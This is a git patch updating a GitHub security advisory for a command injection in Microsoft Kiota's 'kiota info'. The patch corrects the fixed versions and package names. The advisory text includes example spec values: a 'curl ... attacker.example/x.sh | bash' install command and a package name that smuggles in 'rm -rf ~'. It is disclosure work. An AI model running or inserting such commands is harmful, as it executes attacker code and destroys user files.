From ebbc662df3ceb7c0d331166c8c12f9dbaebb8978 Mon Sep 17 00:00:00 2001 From: Vincent Biret Date: Mon, 17 Aug 2026 11:54:02 -0400 Subject: [PATCH] Improve GHSA-hq9q-27g5-qwpj --- .../2026/07/GHSA-hq9q-27g5-qwpj/GHSA-hq9q-27g5-qwpj.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/advisories/github-reviewed/2026/07/GHSA-hq9q-27g5-qwpj/GHSA-hq9q-27g5-qwpj.json b/advisories/github-reviewed/2026/07/GHSA-hq9q-27g5-qwpj/GHSA-hq9q-27g5-qwpj.json index 242137b612e..4d9c58446e8 100644 --- a/advisories/github-reviewed/2026/07/GHSA-hq9q-27g5-qwpj/GHSA-hq9q-27g5-qwpj.json +++ b/advisories/github-reviewed/2026/07/GHSA-hq9q-27g5-qwpj/GHSA-hq9q-27g5-qwpj.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-hq9q-27g5-qwpj", - "modified": "2026-08-17T14:55:20Z", + "modified": "2026-08-17T14:55:21Z", "published": "2026-07-24T16:11:46Z", "aliases": [ "CVE-2026-59865" ], "summary": "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`", - "details": "### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d -l CSharp\n ...\n Hint: use the install command to install the dependencies.\n Example:\n curl -s https://attacker.example/x.sh | bash # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n languagesInformation:\n CSharp:\n dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.", + "details": "### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d -l CSharp\n ...\n Hint: use the install command to install the dependencies.\n Example:\n curl -s https://attacker.example/x.sh | bash # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n languagesInformation:\n CSharp:\n dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.", "severity": [ { "type": "CVSS_V4", @@ -56,7 +56,7 @@ { "package": { "ecosystem": "NuGet", - "name": "Microsoft.OpenApi.Kiota" + "name": "Microsoft.OpenApi.Kiota.Builder" }, "ranges": [ { @@ -75,7 +75,7 @@ { "package": { "ecosystem": "NuGet", - "name": "Microsoft.OpenApi.Kiota.Builder" + "name": "Microsoft.OpenApi.Kiota" }, "ranges": [ {